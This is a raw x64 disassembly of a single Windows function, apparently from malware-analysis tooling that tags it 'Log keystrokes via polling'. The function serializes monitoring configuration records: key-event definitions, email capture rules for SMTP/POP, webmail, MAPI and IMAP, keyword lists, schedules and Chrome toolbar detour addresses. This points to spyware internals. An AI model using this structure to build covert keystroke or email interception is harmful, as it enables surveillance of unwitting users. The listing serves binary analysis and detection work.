Function at 0x1401041d0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov rax, qword [0x14030bc70]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov esi, r9d
mov rdi, r8
mov qword [rsp + 0x48], rdx
mov rbx, rcx
mov qword [rsp + 0x50], rdx
mov r15, qword [rsp + 0x120]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x38], 1
mov rax, qword [0x14030b570]
mov qword [rsp + 0x30], rax
mov edx, r9d
call fcn.140108ee0
test eax, eax
jne 0x140104254
lea rcx, [rsp + 0x30]
call fcn.1400f81a0
xor eax, eax
jmp 0x140104cac
lea rdx, str._lst_name_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400f8480
lea rdx, str.__type_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
cmp esi, 0x2000
jg 0x1401042ea
je 0x1401042e1
cmp esi, 0x1000
je 0x1401042c1
jle case.default.0x14010430d
cmp esi, 0x1003
jle 0x1401042b8
cmp esi, 0x1004
jne case.default.0x14010430d
lea rdx, str.InternalWMRecord
jmp 0x1401042c8
lea rdx, str.ScheduleTime
jmp 0x1401042c8
lea rdx, str.KeywordRecord
lea rcx, [rsp + 0x30]
call fcn.1400f8480
lea r12, [0x140000000]
xor r14d, r14d
jmp 0x14010439c
lea r12, [0x140000000]
jmp case.0x14010430d.8194
lea eax, [rsi - 0x2002]
cmp eax, 0x12
ja case.default.0x14010430d
cdqe
lea r12, [0x140000000]
mov eax, dword [r12 + rax*4 + 0x104cd0]
add rax, r12
jmp rax
lea rdx, str.char__
lea rcx, [rsp + 0x30]
call fcn.1400f8480
xor r14d, r14d
jmp 0x14010439c
lea rdx, str.PortRange
lea rcx, [rsp + 0x30]
call fcn.1400f8480
xor r14d, r14d
jmp 0x14010439c
lea rdx, str.KeyEventDef
lea rcx, [rsp + 0x30]
call fcn.1400f8480
jmp 0x1401042d9
lea rdx, str.EmailRule
lea rcx, [rsp + 0x30]
call fcn.1400f8480
jmp 0x1401042d9
lea rdx, str.EmailLastRecvTime
lea rcx, [rsp + 0x30]
call fcn.1400f8480
jmp 0x1401042d9
lea rdx, str.ChromeSigs
lea rcx, [rsp + 0x30]
call fcn.1400f8480
jmp case.0x14010430d.8207
lea r12, [0x140000000]
xor r14d, r14d
mov dword [rsp + 0x38], r14d
lea rdx, [0x140227238]
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rcx, r15
call fcn.1400f2d80
nop
mov rcx, r15
call fcn.1400f3130
mov r13, rax
test r13, r13
je 0x140104c66
mov rcx, r13
call fcn.1400494c0
mov rdi, rax
test rax, rax
je case.0x140104699.8207
cmp esi, 0x2000
jg 0x14010467d
je case.0x140104699.8194
cmp esi, 0x1000
je 0x14010461e
jle case.0x140104699.8207
cmp esi, 0x1003
jle 0x1401044f7
cmp esi, 0x1004
jne case.0x140104699.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
lea rdx, [0x1402883e0]
mov rcx, rdi
call fcn.1401422f8
mov r15, rax
test rax, rax
je 0x1401044dc
mov byte [rax], 0
mov r10, qword [rbx]
mov qword [rsp + 0x20], r14
mov r9, rdi
lea r8, str.Package
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [r10 + 0x130]
mov byte [r15], 0x2c
lea rdx, [0x1402883e0]
lea rcx, [r15 + 1]
call fcn.1401422f8
mov rdi, rax
test rax, rax
je 0x1401044dc
mov byte [rax], 0
cmp byte [r15 + 1], 0
je 0x1401044b2
mov r10, qword [rbx]
mov qword [rsp + 0x20], r14
lea r9, [r15 + 1]
lea r8, [0x140227578]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [r10 + 0x130]
mov byte [rdi], 0x2c
cmp byte [rdi + 1], 0
je 0x1401044dc
mov rax, qword [rbx]
mov qword [rsp + 0x20], r14
lea r9, [rdi + 1]
lea r8, str.Host
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov r15, qword [rsp + 0x40]
jmp case.0x140104699.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
lea rdx, str._struct_name_Start__type_TimePeriod__
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi]
and r9d, 0x3f
lea r8, str.Minute
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi]
shr r9d, 6
and r9d, 0x1f
lea r8, str.Hour
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi]
shr r9d, 0xb
and r9d, 7
lea r8, [0x1402273e8]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
lea rdx, str._struct_name_Stop__type_TimePeriod__
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
and r9d, 0x3f
lea r8, str.Minute
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
shr r9d, 6
and r9d, 0x1f
lea r8, str.Hour
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
shr r9d, 0xb
and r9d, 7
lea r8, [0x1402273e8]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
jmp 0x140104c42
mov rdi, qword [rax + 8]
test rdi, rdi
je case.0x140104699.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.WholeWord
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 4]
mov qword [rsp + 0x20], r14
lea r8, [0x140227388]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140104c42
lea eax, [rsi - 0x2002]
cmp eax, 0x12
ja case.0x140104699.8207
cdqe
mov ecx, dword [r12 + rax*4 + 0x104d1c]
add rcx, r12
jmp rcx
mov rax, qword [rbx]
mov qword [rsp + 0x20], r14
mov r9, rdi
lea r8, [0x140285c9d]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp case.0x140104699.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.From
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, [0x14022739c]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov r9d, dword [rdi + 8]
lea r8, str.SelectID
jmp 0x140104c31
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.vKey
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.lParam
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
lea r8d, [rax + 0x40]
lea rdx, [rsp + 0x70]
mov ecx, dword [rdi + 4]
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov rax, qword [rbx]
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x70]
lea r8, str.Description
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140104c42
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov qword [rsp + 0x20], 0x100
mov r9, rdi
lea r8, str.Name
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x100]
lea r8, str.Record
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x104]
lea r8, str.Sent
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x108]
lea r8, str.Received
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x10c]
lea r8, str.SMTPPOP
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x110]
lea r8, str.WebMail
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x114]
lea r8, [0x140226b84]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x118]
lea r8, str.MAPI
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x11c]
lea r8, str.IMAP
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x124]
lea r8, str.PlainText
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x128]
lea r8, str.HTML
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x12c]
lea r8, [0x140227464]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x130]
lea r8, str.Attachments
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x134]
lea r8, str.NoAttachments
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x138]
lea r8, str.AttachmentFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x13c]
lea r8, str.AttachmentFilterSize
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x140]
lea r8, str.ToFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x144]
mov qword [rsp + 0x20], 0x100
lea r8, str.ToFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x244]
lea r8, str.FromFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x248]
mov qword [rsp + 0x20], 0x100
lea r8, str.FromFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x348]
lea r8, str.SubjectFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x34c]
mov qword [rsp + 0x20], 0x100
lea r8, str.SubjectFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x44c]
lea r8, str.BodyFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x450]
mov qword [rsp + 0x20], 0x100
lea r8, str.BodyFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140104c42
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.RcvdTimeLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.RcvdTimeHigh
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 8]
mov qword [rsp + 0x20], gethostbyname
lea r8, str.MSG_Owner
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140104c42
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.ProductVersionMS
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.ProductVersionLS
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 8]
lea r8, str.NameOffsetFromThis
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x10]
lea r8, str.ShouldDisplayInExtensionSettingsAddressLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x14]
lea r8, str.ShouldDisplayInExtensionSettingsAddressHigh
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x18]
lea r8, str.ToolbarFunctionToDetourAddressLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov r9d, dword [rdi + 0x1c]
lea r8, str.ToolbarFunctionToDetourAddressHigh
mov rax, qword [rbx]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
mov rdx, r13
mov rcx, r15
call fcn.1400f3190
mov r13, rax
jmp 0x1401043c1
mov rbx, qword [rsp + 0x48]
jmp 0x140104c77
mov rcx, r15
call fcn.1400f3270
lea rdx, str.__lst_
lea rcx, [rsp + 0x30]
call fcn.1400f8480
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.1400f8420
nop
lea rcx, [rsp + 0x30]
call fcn.1400f81a0
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140113910
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret